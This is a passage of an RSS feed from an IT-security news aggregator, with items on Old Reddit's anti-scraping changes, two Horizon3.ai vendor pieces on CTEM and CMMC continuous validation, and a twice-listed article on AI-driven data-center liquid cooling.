<guid isPermaLink="true">https://tsecurity.de/de/3708326/ai-nachrichten/i-built-a-tool-calling-agent-in-python-heres-how-i-debugged-it/</guid>
<pubDate>Thu, 06 Aug 2026 15:46:02 +0200</pubDate>
<content:encoded><![CDATA[<p>A minimal loop with real API calls, validation, compact outputs, and trace evidence before adding an agent framework</p>
<p>The post <a href="https://towardsdatascience.com/i-built-a-tool-calling-agent-in-python-heres-how-i-debugged-it/">I Built a Tool-Calling Agent in Python. Here’s How I Debugged It</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Old Reddit Faces Major Updates Over AI Data Scraping Threats]]></title>
<description><![CDATA[The 21-year-old legacy layout of Reddit that many longtime users still prefer daily is facing some major updates very soon. The company recently shared that it plans to change the older desktop experience to stop abusive data scraping and spam. Since the older platform lacks modern security check...]]></description>
<link>https://tsecurity.de/de/3708310/ios-mac-os/old-reddit-faces-major-updates-over-ai-data-scraping-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708310/ios-mac-os/old-reddit-faces-major-updates-over-ai-data-scraping-threats/</guid>
<pubDate>Thu, 06 Aug 2026 15:41:18 +0200</pubDate>
<content:encoded><![CDATA[The 21-year-old legacy layout of Reddit that many longtime users still prefer daily is facing some major updates very soon. The company recently shared that it plans to change the older desktop experience to stop abusive data scraping and spam. Since the older platform lacks modern security checks, it has become an easy target for automated traffic that scrapes data to train artificial intelligence models.



The platform will require logins and relocate important bots



To cut down on automated scrapers, the company will keep requiring users to log in before they can look at the older interface. The team also plans to move important moderation bots and workflows over to a much newer software framework.



While the chief executive promised last year that the classic site would not shut down completely, these new moves leave users wondering how much of the original layout will survive. The team might rebuild the old layout entirely using new code or simply limit who can access it moving forward.



New moderation software is rolling out to tackle spam



The company is also heavily leaning into AI to keep its online communities safe. A new moderation setup called Rules Hub is currently in testing and will soon expand to more pages. Instead of just looking for specific banned words, this new system attempts to understand what a user meant when they posted a message that breaks the rules.



Moderators can test these automated tools before turning them on, and they will get to pick what happens when a rule gets broken. This shift shows that the platform is highly focused on upgrading its tech while keeping outside scrapers away from its data.



As the fight against data scraping grows, the older version of the site will likely see more limits. Users who prefer the vintage look might soon have to adapt to a more restricted or completely rebuilt experience.]]></content:encoded>
</item>
<item>
<title><![CDATA[CTEM isn’t failing. It’s not being operationalized]]></title>
<description><![CDATA[Cybersecurity is full of frameworks, regulations, and directives that tell organizations what they should do. Zero Trust, NIST, CIS Controls, CMMC, DORA, NIS2, and now Continuous Threat Exposure Management (CTEM) all provide valuable guidance and describe desired outcomes.



The challenge is tha...]]></description>
<link>https://tsecurity.de/de/3708193/it-security-nachrichten/ctem-isnt-failing-its-not-being-operationalized/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708193/it-security-nachrichten/ctem-isnt-failing-its-not-being-operationalized/</guid>
<pubDate>Thu, 06 Aug 2026 15:08:17 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Cybersecurity is full of frameworks, regulations, and directives that tell organizations what they should do. Zero Trust, NIST, CIS Controls, CMMC, DORA, NIS2, and now Continuous Threat Exposure Management (CTEM) all provide valuable guidance and describe desired outcomes.</p>



<p class="wp-block-paragraph">The challenge is that most stop at the “what.” They rarely explain the “how.”</p>



<p class="wp-block-paragraph">That is not a criticism. It is by design. Frameworks establish principles, define expectations, and describe desired outcomes. They are not implementation guides.</p>



<p class="wp-block-paragraph">As a result, security leaders and practitioners are left figuring out how to translate principles into processes, assign ownership, establish accountability, and measure success. Those decisions often determine whether a framework delivers results or becomes another initiative that never moves beyond good intentions.</p>



<p class="wp-block-paragraph">The Gartner<sup>®</sup> CTEM framework provides a clear vision through its five phases: scope, discover, prioritize, validate, and mobilize. Yet many organizations that understand those phases still struggle to build a CTEM program that consistently produces measurable outcomes.</p>



<h3 class="wp-block-heading">Understanding CTEM is the easy part</h3>



<p class="wp-block-paragraph">Most security teams do not have a CTEM knowledge problem. Gartner has clearly documented the phases, vendors have built messaging around them, and countless presentations explain how CTEM works. The challenge is that understanding a framework and operating it are two very different things.</p>



<p class="wp-block-paragraph">The question is not whether the pieces exist, but whether those pieces work together to reduce exposure over time. That is where the gap emerges, because the challenge is not understanding CTEM. It is turning CTEM into a repeatable operating model that consistently produces measurable outcomes.</p>



<h3 class="wp-block-heading">The industry has focused on the phases</h3>



<p class="wp-block-paragraph">Most CTEM discussions focus on the framework itself: How do we scope? How do we discover? How do we prioritize? How do we validate? How do we mobilize? Those questions help organizations understand the framework, but they can also create the illusion that adopting CTEM is simply a matter of executing the phases.</p>



<p class="wp-block-paragraph">The organizations making the most progress are focused on a different set of questions:</p>



<ul class="wp-block-list">
<li>Who owns the process?</li>



<li>How do findings move between teams?</li>



<li>How do we establish accountability?</li>



<li>How do we verify that remediation actually reduced exposure?</li>



<li>How do we measure progress over time?</li>
</ul>



<p class="wp-block-paragraph">These are operational questions, and they are often the difference between a CTEM initiative and a CTEM operating model.</p>



<h3 class="wp-block-heading">Where CTEM programs actually stall</h3>



<p class="wp-block-paragraph">Most CTEM programs do not struggle with visibility. They struggle with execution.</p>



<p class="wp-block-paragraph">Security teams often discover exposures, while infrastructure, application, cloud, and identity teams are responsible for fixing them. Each team plays an important role, but no single team owns the end-to-end outcome. As a result, exposures often move from team to team while the original context gets diluted. Security understands why the issue matters. The team responsible for fixing it may only see another ticket in a queue.</p>



<p class="wp-block-paragraph">As findings move across organizational boundaries, priorities compete for attention, ownership becomes fragmented, and validation often becomes inconsistent, leaving organizations uncertain whether risk is actually decreasing.</p>



<p class="wp-block-paragraph">A team may discover an exposure, prioritize it, validate that it matters, and assign remediation to the right group. But if ownership becomes unclear, remediation is delayed, or nobody verifies the outcome, the program has not reduced exposure in any measurable way.</p>



<p class="wp-block-paragraph">Moving work through a process is not the same as reducing exposure. That distinction matters because CTEM is not about generating more findings. It is about creating a repeatable system that helps organizations understand what matters, act on it with confidence, and prove that exposure is decreasing over time.</p>



<p class="wp-block-paragraph">Click <a href="https://horizon3.ai/intelligence/blogs/ctem-isnt-failing-its-being-operationalized/#:~:text=decreasing%20over%20time.-,What%20Operationalization%20Looks%20Like%20in%20Practice,-Most%20organizations%20already" target="_blank" rel="noreferrer noopener">here</a> to see what operationalization looks like in practice, and how to fill your CTEM gaps.</p>



<p class="wp-block-paragraph"><strong>Continue the conversation</strong></p>



<p class="wp-block-paragraph">Understanding CTEM is the easy part. Operationalizing it is where most organizations struggle.</p>



<p class="wp-block-paragraph">As organizations shift from reactive security to proactive security, they need more than visibility. They need the ability to continuously validate what matters, verify that remediation worked, and prove they are becoming harder to attack over time.</p>



<p class="wp-block-paragraph"><a href="https://events.horizon3.ai/introducing-nodezero-webapp/" target="_blank" rel="noreferrer noopener"><strong>Register for the webinar</strong></a><strong> “From Probability to Proof: The Art of the Possible with Proactive Cybersecurity,”</strong> and explore how AI-native proactive security is helping organizations continuously find, fix, and verify exploitable attack paths so they can move beyond assumptions and prove resilience. Also, download the “<a href="https://horizon3.ai/downloads/whitepapers/operationalizing-ctem-practical-playbook/" target="_blank" rel="noreferrer noopener">Operationalizing CTEM: A Practical Playbook for Continuous Threat Exposure Management</a>” playbook for guidance on building a repeatable CTEM operating model.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[You’re only as secure as your last evaluation]]></title>
<description><![CDATA[The updated Cybersecurity Maturity Model Certification (CMMC) represents a critical evolution in the Department of War (DoW) strategy to secure the Defense Industrial Base (DIB). It is more than a regulatory hurdle. It is a direct response to a rapidly changing and increasingly hostile threat lan...]]></description>
<link>https://tsecurity.de/de/3708190/it-security-nachrichten/youre-only-as-secure-as-your-last-evaluation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708190/it-security-nachrichten/youre-only-as-secure-as-your-last-evaluation/</guid>
<pubDate>Thu, 06 Aug 2026 15:08:15 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The updated Cybersecurity Maturity Model Certification (CMMC) represents a critical evolution in the Department of War (DoW) strategy to secure the Defense Industrial Base (DIB). It is more than a regulatory hurdle. It is a direct response to a rapidly changing and increasingly hostile threat landscape faced by the DIB.</p>



<p class="wp-block-paragraph">Updated CMMC guidance issued in 2025 simplifies the prior framework, focusing on the most essential security practices aligned with National Institute of Standards and Technology (NIST) Special Publication (SP) 800-171. Its fundamental purpose remains unchanged: to protect sensitive, unclassified defense information — specifically Federal Contract Information (FCI) and Controlled Unclassified Information (CUI) — from foreign adversaries.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/CMMC.png" alt="CMMC phases" class="wp-image-4206154" width="624" height="352" sizes="auto, (max-width: 624px) 100vw, 624px"></figure><p class="imageCredit">Horizon3</p></div><p class="wp-block-paragraph"><em>The updated CMMC phases. Image from </em><a href="https://dodcio.defense.gov/cmmc/About/" target="_blank" rel="noreferrer noopener"><em>https://dodcio.defense.gov/cmmc/About/</em></a><em> </em></p>



<h3 class="wp-block-heading">CMMC implementation phases</h3>



<p class="wp-block-paragraph">The CMMC requirements are being implemented in phases to ease the burden on both organizations and auditors.</p>



<ul class="wp-block-list">
<li><strong>Phase 1 (Nov 10, 2025 – Nov 9, 2026):</strong> Focus on self-assessments for Levels 1 and 2</li>



<li><strong>Beginning Nov 10, 2026:</strong> Solicitations will require Level 2 certifications</li>
</ul>



<p class="wp-block-paragraph">For thousands of companies across the DIB— from prime contractors to small, specialized machine shops — compliance is not optional. It is the prerequisite for doing business with the DoW. It establishes a standardized, measured approach to cybersecurity across the supply chain.</p>



<h3 class="wp-block-heading">A shift in adversary strategy</h3>



<p class="wp-block-paragraph">The strategic focus of adversaries has shifted. Rather than launching costly, direct attacks against well-defended prime contractors, they increasingly target the weakest link in the supply chain.</p>



<p class="wp-block-paragraph">Suppliers and subcontractors often:</p>



<ul class="wp-block-list">
<li>Possess valuable intellectual property, schematics, and operational details</li>



<li>Operate without the same security resources as larger defense firms</li>
</ul>



<p class="wp-block-paragraph">These operational activities create a pathway into the broader ecosystem. A breach at any tier can reverberate across the supply chain, exposing sensitive information and impacting mission outcomes.</p>



<h3 class="wp-block-heading">The limitations of point-in-time security</h3>



<p class="wp-block-paragraph">The traditional model of cybersecurity compliance has relied on periodic, point-in-time assessments. This approach is fundamentally limited in the context of a dynamic and interconnected supply chain.</p>



<p class="wp-block-paragraph">Security is not static. A posture that was compliant weeks ago can become vulnerable due to:</p>



<ul class="wp-block-list">
<li>New exploits or zero-day vulnerabilities</li>



<li>System configuration changes</li>



<li>Introduction of new technologies or shadow IT</li>
</ul>



<p class="wp-block-paragraph"><strong>The core issue is straightforward: You are only as secure as your last evaluation. </strong>In an environment that is constantly evolving, this model leaves a persistent gap between compliance and actual risk.</p>



<h3 class="wp-block-heading">Enabling continuous validation</h3>



<p class="wp-block-paragraph">Horizon3.ai’s <a href="https://horizon3.ai/vertical/federal/" target="_blank" rel="noreferrer noopener">NodeZero Federal</a>™ enables a more continuous approach to security validation. Unlike traditional penetration testing or vulnerability scanning, NodeZero identifies and validates exploitable weaknesses and demonstrates how they can be chained together.</p>



<p class="wp-block-paragraph">This provides organizations with the ability to:</p>



<ul class="wp-block-list">
<li><strong>Validate controls regularly: </strong>Demonstrate effectiveness on an ongoing basis, not just during audits</li>



<li><strong>Close the compliance gap: </strong>Move beyond documentation to show how controls mitigate real-world risk</li>



<li><strong>Identify attack paths: </strong>Understand how an adversary could move through the environment</li>
</ul>



<p class="wp-block-paragraph">This approach supports a more realistic understanding of security posture and risk.</p>



<h3 class="wp-block-heading">Expanding the scope: From enterprise to ecosystem</h3>



<p class="wp-block-paragraph">Elevating supply chain security for FCI and CUI represents a broader shift in how the DoW approaches risk. The focus is no longer limited to securing individual networks. It extends across the entire DIB ecosystem.</p>



<p class="wp-block-paragraph">The objective is not only compliance, but:</p>



<ul class="wp-block-list">
<li>Measurable risk reduction</li>



<li>Greater resilience across interconnected environments</li>



<li>Assurance of mission continuity</li>
</ul>



<h3 class="wp-block-heading">Implications for prime contractors</h3>



<p class="wp-block-paragraph">CMMC reinforces a long-standing reality: The security posture of a prime contractor is directly influenced by the posture of its suppliers.</p>



<p class="wp-block-paragraph">This introduces cascading risks across the supply chain, particularly where subcontractors process, store, or transmit CUI.</p>



<p class="wp-block-paragraph">Key implications include:</p>



<ul class="wp-block-list">
<li><strong>Jeopardized prime contractor posture: </strong>A security incident at a supplier can impact the prime’s certification.</li>



<li><strong>Contract ineligibility and business impact: </strong>Non-compliance may lead to disqualification from DoW contracts.</li>



<li><strong>Mission assurance risk: </strong>Compromised CUI can affect operational integrity and outcomes</li>
</ul>



<h3 class="wp-block-heading">Common sources of compromise</h3>



<p class="wp-block-paragraph">Compromise often originates in predictable areas of the supply chain.</p>



<p class="wp-block-paragraph"><strong>Third-party providers. </strong>Managed service providers (MSPs) and vendors supporting multiple organizations can introduce systemic risk. A single compromise can expose multiple environments.</p>



<p class="wp-block-paragraph"><strong>Specialized suppliers. </strong>Small and medium-sized organizations may handle sensitive data but lack enterprise-grade security controls.</p>



<p class="wp-block-paragraph"><strong>Interconnected access points. </strong>Common weaknesses include:</p>



<ul class="wp-block-list">
<li>Shared credentials</li>



<li>Weak or misconfigured VPN access</li>



<li>Federated identity systems without proper segmentation</li>
</ul>



<h3 class="wp-block-heading">Example: Assume-breach scenario</h3>



<p class="wp-block-paragraph">In a recent assume-breach test, NodeZero began with access to a single host without credentials. From that starting point, it enumerated domain users and executed a password spray, successfully obtaining a valid domain credential.</p>



<p class="wp-block-paragraph">That account had local administrator privileges, enabling further actions:</p>



<ul class="wp-block-list">
<li>Deployment of a remote access tool (RAT)</li>



<li>LSASS access and credential harvesting</li>
</ul>



<p class="wp-block-paragraph">This scenario highlights a common issue: controls that are assumed to be in place may not perform as expected in practice.</p>



<h3 class="wp-block-heading">Why the legacy model does not scale</h3>



<p class="wp-block-paragraph">The legacy model of periodic assessments does not account for the dynamic nature of modern environments.</p>



<p class="wp-block-paragraph">Risk is introduced through:</p>



<ul class="wp-block-list">
<li>Supply chain changes and new vendors</li>



<li>Ongoing system reconfigurations</li>



<li>Expansion of SaaS, APIs, and cloud services</li>



<li>Gradual degradation of controls over time</li>
</ul>



<p class="wp-block-paragraph">As a result, a point-in-time certification can quickly become outdated.</p>



<h3 class="wp-block-heading">Continuous readiness under CMMC</h3>



<p class="wp-block-paragraph">The updated CMMC guidance emphasizes continuous readiness rather than periodic validation. Self-assessments are expected to be supported by documented, day-to-day evidence of control effectiveness.</p>



<p class="wp-block-paragraph">This reflects the need to maintain security posture over time, not just demonstrate it at a single point.</p>



<h3 class="wp-block-heading">Continuous validation as a practical requirement</h3>



<p class="wp-block-paragraph">Moving to continuous validation helps organizations keep pace with:</p>



<ul class="wp-block-list">
<li>Changing threat activity</li>



<li>Evolving supplier ecosystems</li>



<li>The need to maintain confidence in control effectiveness</li>
</ul>



<p class="wp-block-paragraph">Without this, organizations rely on outdated assumptions about their environment and exposure.</p>



<h3 class="wp-block-heading">Closing the gap between compliance and security</h3>



<p class="wp-block-paragraph">HORIZON3.ai’s NodeZero® Proactive Security Platform helps bridge the gap between compliance and operational security. By validating controls through real-world attack scenarios, it provides evidence of effectiveness and identifies gaps across both internal environments and critical suppliers.</p>



<p class="wp-block-paragraph">This enables organizations to treat CMMC not just as a compliance requirement, but as part of an ongoing risk management program.</p>



<h3 class="wp-block-heading">Final thought</h3>



<p class="wp-block-paragraph">True security posture is not defined by a completed assessment.</p>



<p class="wp-block-paragraph">It is defined by how systems perform under real conditions, and how quickly organizations can identify and address weaknesses as they emerge. </p>



<p class="wp-block-paragraph">Learn more about how Horizon3.ai strengthens supply chain security for CMMC.<br><a href="https://horizon3.ai/wp-content/uploads/2026/05/2605_Whitepaper_Supply-Chain-Security-CMMC_US_Digital.pdf" target="_blank" rel="noreferrer noopener">Please refer to the full white paper</a>.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why AI is forcing a rethink of data center cooling]]></title>
<description><![CDATA[For years, cooling has played a supporting role in data center design. Decisions have been driven primarily by compute, storage and networking requirements, while cooling systems quietly ensured everything stayed within safe operating limits. Most enterprise environments operated well within the ...]]></description>
<link>https://tsecurity.de/de/3708054/it-security-nachrichten/why-ai-is-forcing-a-rethink-of-data-center-cooling/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708054/it-security-nachrichten/why-ai-is-forcing-a-rethink-of-data-center-cooling/</guid>
<pubDate>Thu, 06 Aug 2026 14:05:20 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, cooling has played a supporting role in data center design. Decisions have been driven primarily by compute, storage and networking requirements, while cooling systems quietly ensured everything stayed within safe operating limits. Most enterprise environments operated well within the capabilities of traditional air-cooling that was designed to sustain normal growth. This let organizations focus their attention on capacity, performance and cost of the compute.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4145783/ai-is-redefining-what-enterprises-expect-from-data-centers.html">That balance is now being disrupted</a>.</p>



<p class="wp-block-paragraph">Artificial intelligence is reshaping the thermal profile of modern data centers. As organizations roll out more powerful CPUs, GPUs and TPU’s to support AI workloads, <a href="https://journal.uptimeinstitute.com/ai-embraces-liquid-cooling-but-enterprise-it-is-slow-to-follow/">heat generation is rising at a pace</a> that many facilities were never built to handle. With AI in the picture, cooling is no longer simply an operational consideration. It is becoming a primary constraint and strategic differentiator on AI infrastructure growth.</p>



<h2 class="wp-block-heading">The limits of air cooling are becoming clear</h2>



<p class="wp-block-paragraph">Although traditional air cooling continues to support many enterprise workloads effectively, its limitations are becoming increasingly evident as organizations deploy larger AI clusters with increasingly power-hungry CPUs and GPUs, generating heat at levels older data centers were never designed to accommodate.</p>



<p class="wp-block-paragraph">Racks that once operated at 5–10kW are being replaced by AI systems drawing <a href="https://blog.se.com/datacenter/2025/07/23/ai-data-center-design-and-deployment-are-moving-at-an-incredible-pace-3-ways-to-approach-a-changing-landscape/">60kW or more</a>, with some high-end deployments exceeding 100kW per rack. At the component level, individual GPUs are drawing 700W–1,200W each, placing large amounts of heat into a very small space. This shift represents a step-change in thermal density that conventional air-cooling systems, typically effective only up to around 20–30kW per rack, struggle to handle efficiently.</p>



<p class="wp-block-paragraph">At these levels, the challenge becomes structural. Air can only do so much. There’s a hard limit to how efficiently it can move heat, and simply increasing airflow or optimising ventilation isn’t enough to keep pace with the rate at which heat is being generated.</p>



<p class="wp-block-paragraph">The consequence is a growing imbalance between compute capability and cooling capacity. Data centers are being forced to use more energy for cooling, while simultaneously managing higher thermal risk and operational complexity. In some cases, this also introduces performance constraints, as systems throttle workloads to remain within safe operating temperatures.</p>



<p class="wp-block-paragraph">Because of this, more organizations are turning to liquid cooling — particularly direct-to-chip approaches.</p>



<h2 class="wp-block-heading">How direct-to-chip cooling is addressing rising heat challenges</h2>



<p class="wp-block-paragraph">The main limitation of air cooling is its relative inefficiency at removing concentrated heat. Direct-to-chip cooling addresses this. Instead of relying on chilled air moving around the room, direct-to-chip systems put cooling exactly where it’s needed, by placing cold plates directly onto high-heat components such as CPUs and GPUs. Coolant flows through these plates, absorbing heat at the source before carrying it away for dissipation via a heat exchange system.</p>



<p class="wp-block-paragraph">A direct-to-chip cooling system is made of several parts working together. Cold plates absorb heat straight from the chips, while a coolant distribution unit (CDU) manages the temperature, pressure and flow of the liquid. The coolant moves through pipes connected to each rack, carrying heat away from the servers and into the facility’s wider cooling system while sensors monitor temperatures, flow rates and leak detection.</p>



<p class="wp-block-paragraph">Liquids transfer heat far more efficiently than air, so direct-to-chip cooling allows significantly greater thermal loads to be managed with lower energy overheads. Because heat is removed more directly and effectively at the source, data centers require less power for fans, airflow and chiller operation, reducing overall energy consumption.</p>



<p class="wp-block-paragraph">In most cases, only the components that generate the most heat are liquid-cooled. The rest of the system continues to rely on familiar air-cooling approaches. That mix is a big part of the appeal. A hybrid cooling approach allows organizations to improve cooling performance where it matters most, without having to redesign their entire environment.</p>



<h2 class="wp-block-heading">Direct-to-chip isn’t one-size-fits-all</h2>



<p class="wp-block-paragraph">While direct-to-chip is talked about as a single approach, there are actually a few different ways to implement it. Most organizations use single-phase liquid cooling, where the coolant stays in liquid form throughout the process. It’s simple, easy to manage and fits well with existing operational models, which makes it a natural starting point.</p>



<p class="wp-block-paragraph">But there is also a growing shift towards warm-water cooling. Because water is so effective at absorbing heat, systems don’t need to run at the same low temperatures as traditional air-cooled environments. This can reduce the need for energy-intensive chilling and improve overall efficiency.</p>



<p class="wp-block-paragraph">In some setups, direct-to-chip cooling is paired with rear-door heat exchangers. These capture any remaining heat as air leaves the rack, helping to push densities even higher without overloading the system.</p>



<p class="wp-block-paragraph">Ultimately, there isn’t a single “correct” way to approach cooling. The best method depends on the workloads being supported, the constraints of the facility and the organization’s longer-term plans. What’s clear, however, is that flexibility is becoming increasingly important as cooling requirements continue to evolve.</p>



<h2 class="wp-block-heading">Direct-to-chip vs immersion cooling</h2>



<p class="wp-block-paragraph">As liquid cooling gains traction, direct-to-chip is often compared with immersion cooling. While both approaches address the same fundamental problem — removing significantly higher levels of heat – they do so in very different ways, with different implications for how data centers are designed and operated.</p>



<p class="wp-block-paragraph">Immersion cooling takes a more radical route by fully submerging servers in dielectric fluid — a liquid that does not conduct electricity or conducts it extremely poorly. From a cooling perspective, it is highly effective and can handle extremely dense, high compute environments. But it comes with trade-offs.</p>



<p class="wp-block-paragraph">Immersion cooling requires a rethink of how data centers operate. It also demands significant infrastructure shifts, which can make adoption challenging for organizations with established data center models.</p>



<p class="wp-block-paragraph">Direct-to-chip cooling, on the other hand, offers a more gradual step forward. In general, servers keep their familiar design, and day-to-day maintenance doesn’t change dramatically. Teams can continue working in ways they already understand, making it a more practical step for many organizations.</p>



<p class="wp-block-paragraph">This practicality makes all the difference. For most organizations, the decision isn’t just about which solution performs best in theory, it’s about what can be deployed, managed and scaled within the realities of existing operations. In that sense, direct-to-chip strikes a balance between performance gains and operational continuity, making it a more accessible starting point for many data centers navigating the shift to higher-density workloads.</p>



<h2 class="wp-block-heading">Cooling as a competitive advantage</h2>



<p class="wp-block-paragraph">Cooling is no longer simply an operational concern. It is becoming a defining factor in how data centers scale, how efficiently they run and how reliably they perform. As AI workloads push infrastructure to new limits, the ability to manage heat effectively will directly influence how far and how fast organizations can grow.</p>



<p class="wp-block-paragraph">That shift is also changing who owns the conversation. Decisions that once sat with facilities teams are now firmly on the agenda for <a href="https://www.cio.com/article/4193828/preparing-for-infrastructure-constraints-from-memory-shortages-to-power-limits.html">CIOs, CTOs and infrastructure leaders</a>. Thermal design, energy efficiency and cooling architecture are no longer niche considerations, they are central to cost control, sustainability targets and overall competitiveness.</p>



<p class="wp-block-paragraph">At the same time, there is no one correct solution. Air cooling will continue to support many workloads, while immersion cooling will remain relevant for specialised, high-density use cases. Direct-to-chip cooling sits between the two, offering a practical way to handle increasing thermal demands without disrupting established operating models.</p>



<p class="wp-block-paragraph">For organizations planning the next phase of their infrastructure, cooling can no longer be treated as an afterthought. It needs to be considered alongside compute, storage and networking from the outset.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why AI is forcing a rethink of data center cooling]]></title>
<description><![CDATA[For years, cooling has played a supporting role in data center design. Decisions have been driven primarily by compute, storage and networking requirements, while cooling systems quietly ensured everything stayed within safe operating limits. Most enterprise environments operated well within the ...]]></description>
<link>https://tsecurity.de/de/3708047/it-nachrichten/why-ai-is-forcing-a-rethink-of-data-center-cooling/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708047/it-nachrichten/why-ai-is-forcing-a-rethink-of-data-center-cooling/</guid>
<pubDate>Thu, 06 Aug 2026 14:04:16 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, cooling has played a supporting role in data center design. Decisions have been driven primarily by compute, storage and networking requirements, while cooling systems quietly ensured everything stayed within safe operating limits. Most enterprise environments operated well within the capabilities of traditional air-cooling that was designed to sustain normal growth. This let organizations focus their attention on capacity, performance and cost of the compute.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4145783/ai-is-redefining-what-enterprises-expect-from-data-centers.html">That balance is now being disrupted</a>.</p>



<p class="wp-block-paragraph">Artificial intelligence is reshaping the thermal profile of modern data centers. As organizations roll out more powerful CPUs, GPUs and TPU’s to support AI workloads, <a href="https://journal.uptimeinstitute.com/ai-embraces-liquid-cooling-but-enterprise-it-is-slow-to-follow/">heat generation is rising at a pace</a> that many facilities were never built to handle. With AI in the picture, cooling is no longer simply an operational consideration. It is becoming a primary constraint and strategic differentiator on AI infrastructure growth.</p>



<h2 class="wp-block-heading">The limits of air cooling are becoming clear</h2>



<p class="wp-block-paragraph">Although traditional air cooling continues to support many enterprise workloads effectively, its limitations are becoming increasingly evident as organizations deploy larger AI clusters with increasingly power-hungry CPUs and GPUs, generating heat at levels older data centers were never designed to accommodate.</p>



<p class="wp-block-paragraph">Racks that once operated at 5–10kW are being replaced by AI systems drawing <a href="https://blog.se.com/datacenter/2025/07/23/ai-data-center-design-and-deployment-are-moving-at-an-incredible-pace-3-ways-to-approach-a-changing-landscape/">60kW or more</a>, with some high-end deployments exceeding 100kW per rack. At the component level, individual GPUs are drawing 700W–1,200W each, placing large amounts of heat into a very small space. This shift represents a step-change in thermal density that conventional air-cooling systems, typically effective only up to around 20–30kW per rack, struggle to handle efficiently.</p>



<p class="wp-block-paragraph">At these levels, the challenge becomes structural. Air can only do so much. There’s a hard limit to how efficiently it can move heat, and simply increasing airflow or optimising ventilation isn’t enough to keep pace with the rate at which heat is being generated.</p>



<p class="wp-block-paragraph">The consequence is a growing imbalance between compute capability and cooling capacity. Data centers are being forced to use more energy for cooling, while simultaneously managing higher thermal risk and operational complexity. In some cases, this also introduces performance constraints, as systems throttle workloads to remain within safe operating temperatures.</p>



<p class="wp-block-paragraph">Because of this, more organizations are turning to liquid cooling — particularly direct-to-chip approaches.</p>



<h2 class="wp-block-heading">How direct-to-chip cooling is addressing rising heat challenges</h2>



<p class="wp-block-paragraph">The main limitation of air cooling is its relative inefficiency at removing concentrated heat. Direct-to-chip cooling addresses this. Instead of relying on chilled air moving around the room, direct-to-chip systems put cooling exactly where it’s needed, by placing cold plates directly onto high-heat components such as CPUs and GPUs. Coolant flows through these plates, absorbing heat at the source before carrying it away for dissipation via a heat exchange system.</p>



<p class="wp-block-paragraph">A direct-to-chip cooling system is made of several parts working together. Cold plates absorb heat straight from the chips, while a coolant distribution unit (CDU) manages the temperature, pressure and flow of the liquid. The coolant moves through pipes connected to each rack, carrying heat away from the servers and into the facility’s wider cooling system while sensors monitor temperatures, flow rates and leak detection.</p>



<p class="wp-block-paragraph">Liquids transfer heat far more efficiently than air, so direct-to-chip cooling allows significantly greater thermal loads to be managed with lower energy overheads. Because heat is removed more directly and effectively at the source, data centers require less power for fans, airflow and chiller operation, reducing overall energy consumption.</p>



<p class="wp-block-paragraph">In most cases, only the components that generate the most heat are liquid-cooled. The rest of the system continues to rely on familiar air-cooling approaches. That mix is a big part of the appeal. A hybrid cooling approach allows organizations to improve cooling performance where it matters most, without having to redesign their entire environment.</p>



<h2 class="wp-block-heading">Direct-to-chip isn’t one-size-fits-all</h2>



<p class="wp-block-paragraph">While direct-to-chip is talked about as a single approach, there are actually a few different ways to implement it. Most organizations use single-phase liquid cooling, where the coolant stays in liquid form throughout the process. It’s simple, easy to manage and fits well with existing operational models, which makes it a natural starting point.</p>



<p class="wp-block-paragraph">But there is also a growing shift towards warm-water cooling. Because water is so effective at absorbing heat, systems don’t need to run at the same low temperatures as traditional air-cooled environments. This can reduce the need for energy-intensive chilling and improve overall efficiency.</p>



<p class="wp-block-paragraph">In some setups, direct-to-chip cooling is paired with rear-door heat exchangers. These capture any remaining heat as air leaves the rack, helping to push densities even higher without overloading the system.</p>



<p class="wp-block-paragraph">Ultimately, there isn’t a single “correct” way to approach cooling. The best method depends on the workloads being supported, the constraints of the facility and the organization’s longer-term plans. What’s clear, however, is that flexibility is becoming increasingly important as cooling requirements continue to evolve.</p>



<h2 class="wp-block-heading">Direct-to-chip vs immersion cooling</h2>



<p class="wp-block-paragraph">As liquid cooling gains traction, direct-to-chip is often compared with immersion cooling. While both approaches address the same fundamental problem — removing significantly higher levels of heat – they do so in very different ways, with different implications for how data centers are designed and operated.</p>



<p class="wp-block-paragraph">Immersion cooling takes a more radical route by fully submerging servers in dielectric fluid — a liquid that does not conduct electricity or conducts it extremely poorly. From a cooling perspective, it is highly effective and can handle extremely dense, high compute environments. But it comes with trade-offs.</p>



<p class="wp-block-paragraph">Immersion cooling requires a rethink of how data centers operate. It also demands significant infrastructure shifts, which can make adoption challenging for organizations with established data center models.</p>



